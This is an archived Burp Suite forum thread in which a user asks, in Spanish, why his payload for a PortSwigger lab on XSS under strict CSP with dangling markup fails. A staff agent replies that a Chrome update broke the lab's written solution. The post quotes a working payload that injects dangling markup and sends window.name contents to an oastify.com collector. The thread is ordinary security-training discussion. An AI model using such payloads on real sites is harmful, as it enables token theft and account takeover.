Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Error in Lab: Reflected XSS protected by very strict CSP, with dangling markup attack

Juan | Last updated: Jul 22, 2024 09:58PM UTC

Cuando intento resolver el lab enviando la carga util al usuario victima desde el servidor de exploit, no intercepta ni me llega nada a mi burp collaborator, lo he estado intentando toda la tarde pero no pudé conseguir algo al respecto. Payload es: <script> if(window.name) { new Image().src='//g5muxwqi20d23bn60w4vtpm9m0srgj48.oastify.com?'+encodeURIComponent(window.name); } else { location = 'https://0ace007103c2e3ab8086f3d3008a0089.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0a1200f3039fe31280eff21f016700e8.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27'; } </script>

Ben, PortSwigger Agent | Last updated: Jul 23, 2024 07:59AM UTC

Hi Juan, A Chrome update has rendered the current written solution to this particular lab as invalid. We are in the process of altering this but in the mean time, one of our users came up with the following alternative solution: https://skullhat.github.io/posts/reflected-xss-protected-by-very-strict-csp-with-dangling-markup-attack/

Juan | Last updated: Jul 23, 2024 05:11PM UTC